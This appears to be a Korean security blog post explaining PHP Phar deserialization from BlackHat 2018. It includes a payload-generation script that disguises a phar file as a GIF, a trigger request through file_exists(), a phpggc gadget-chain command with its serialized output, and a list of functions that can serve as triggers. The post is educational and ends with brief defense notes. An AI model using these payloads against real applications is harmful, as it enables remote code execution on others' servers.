Phar(PHP Archive)에서의 PHP Deserialization 취약점 (BlackHat 2018)
시간날때 천천히 못본 blackhat 자료 보고있는데, 눈길을 끄는게 하나 있어 정리해서 글로 작성해봅니다.
오늘 이야기드릴 내용은 Phar의 Deserialze 취약점입니다. 어떤게 문제이고 어떻게 테스트하고 어떻게 막아야할지? 알아봅시다.
What is Phar?
Phar는 PHP Archive로 phar 파일에 어플리케이션 로직을 저장할 수 있는 php의 확장입니다. PHP 코드에서 사용할 때에는 Stream Wrapper 통해 기능을 구현하며 include로 phar 파일을 읽어와서 사용합니다.
Stream wrappers : http:// file:// zlib:// phar:// 등등…
예시를 보면 이런식으로 사용합니다.
<?php
include 'phar:///path/to/myphar.phar/file.php' ;
// myphar.phar 내 file.php를 불러옵니다.
?>
include로 직접 php 파일을 불러오는 것과 유사하지만, 실제 파일은 myphar.phar 하나이며 이 archive 내에 있는 여러 코드를 하위 경로로 불러와서 사용할 수 있다는 점이 다릅니다.
Phar Structure
Phar 파일은 4가지의 구조로 이루어져있습니다.
- Stub
- Manifest
- File contents
- Signature (Optional)
Stub
Stub은 작은 형태의 코드를 담을 수 있는 공간입니다. Stub에 저장된 코드는 phar/stub.php에 저장되며 별도로 지정하지 않으면 phar 코드를 실행하는 코드(7k 정도)가 기본값으로 들어있습니다. 해당 영역에 __HALT_COMPILER();
코드가 있어야 phar 파일로 인식합니다.
Manifest
Manifest엔 해당 phar 파일에 대한 meta 데이터가 있습니다.
Phar Manifest file entry
Size in bytes Description
4 bytes Filename length in bytes
?? Filename (length specified in previous)
4 bytes Un-compressed file size in bytes
4 bytes Unix timestamp of file
4 bytes Compressed file size in bytes
4 bytes CRC32 checksum of un-compressed file contents
4 bytes Bit-mapped File-specific flags
4 bytes Serialized File Meta-data length (0 for none)
?? Serialized File Meta-data, stored in serialize() format
File contents and signature
File Contents는 phar 내 데이터 영역입니다. Signature는 phar에 대한 시그니처를 의미합니다.
Deserialize Vulnerability
phar의 재미있는 점은 Manifest에 있는데, 마지막의 byte 내용을 보면 serialize()
포맷에 맞는 Serialized 데이터의 영역입니다. 곧 해당 파일을 사용할 때 Deserialize 하여 사용한다는 이야기이고, 이는 곧 Deserialize 취약점에 노출될 수 있다는 소리입니다.
<?php
class TestObject {
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // stub 영역입니다.
$o = new TestObject();
$o -> data='hahwul';
$phar->setMetadata($o); // manifest에 데이터를 씁니다. TestObject 객체를 생성해서 값을 채운 후 객체 데이터가 들어갔습니다.
// phar 파일의 manifest 영역엔 Serialized된 TestObject 객체가 들어가게 됩니다.
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
해당 파일을 불러오는 쪽 코드에서 아래와 같이 TestObject 객체가 있고 __destruct()
함수에 data를 찍도록 정의되어 있다면 위 데이터에 들어간 hahwul이 찍히게 됩니다.
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // Result : hahwul
}
}
include('phar://phar.phar');
?>
Manifest의 Serialized 구간은 __destruct
와 __wakeup
시 로드되어 실행됩니다. 코드상에 __destruct()
, __wakeup()
이 있는 객체 선언이 있어야하며, phar 파일 업로드 및 로드가 가능한 구간이 있다면 충분히 테스트해 볼 가치가 있습니다.
예시에선 include로 로드하였었지만, file_exists()
,fopen()
, file()
, file_get_contents()
, include()
등 phar 처리가 가능한 function들이 많이 있어서 이 부분은 생각보다 잘 나올 수 있습니다. 특히나 파일 업로드 구간에 file_exists()
가 있는 경우는 많기 떄문에 좋은 트리거 포인트가 될 수 있죠.
만약 phar 파일을 올릴 수 있는 구간이 있고 아래와 같이 우리가 입력한 파라미터 값을 가지고 file_exists를 호출하는 페이지가 있다고 하면..
file.php
<?php
$filename=$_GET['path'];
class imgObject{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
공격자는 stub를 GIF90a
즉 gif 이미지로 맞추어 검증 로직을 속일 수 있는 phar 파일을 만들 수 있습니다. 위의 __destruct()
내 eval로 실행되는 output 값에 공격자가 실행할 php 명령이 들어가게 되면 공격코드가 삽입된 phar 파일이 만들어집니다.
pay_gen.php
<?php
class imgObject{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new imgObject();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
이제 file.php를 통해 이 파일을 불러와보면 phpinfo()가 실행된 걸 볼 수 있습니다.
GET http://192.168.0.13:9494/file.php?path=phar://tempdir/phar.phar/phar.gif
Make Payloads
아 위에 코드로 phar 파일이 생성이 안되는 경우가 있는데 php.ini 파일에 phar.readonly가 off로 설정하지 않으면 phar 생성이 불가능합니다. 옵션을 바꿔주시면 됩니다.
참고: http://php.net/manual/en/phar.configuration.php)
음 위에선 테스트 코드로 하느라 eval로 불렀지만 실제론 아닐겁니다. 코드 넣기가 까다롭기 때문에 보통 Gadget Chain을 이용합니다. (PHP Generic Gadget Chains)
이 글에선 phpggc로 직접 만들어줍니다.
$ phpggc
./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Phar 처리가 가능한 functions
생각보다 많습니다.. 심지어 자주 사용되는 것들..
file()
filetime()
filectime()
fileatime()
file_put_contents()
fileinode()
file_exists()
filegroup()
fileowner()
file_get_contents()
fopen()
fileperms()
is_dir()
is_readable()
is_executable()
is_writable()
is_writeable()
is_file()
is_link()
parse_ini_file()
copy()
unlink()
stat()
readfile()
Defense & Solution
phar에 대한 업로드 제한, 검증과 phar 구조의 마지막인 Signature 정도가 있을듯하네요. 결국은 업로드된 phar 파일 이를 불러오는 함수간의 관계에 얽힌거라 정확한 솔루션에 대해선 고민이 더 있어야할듯 싶습니다.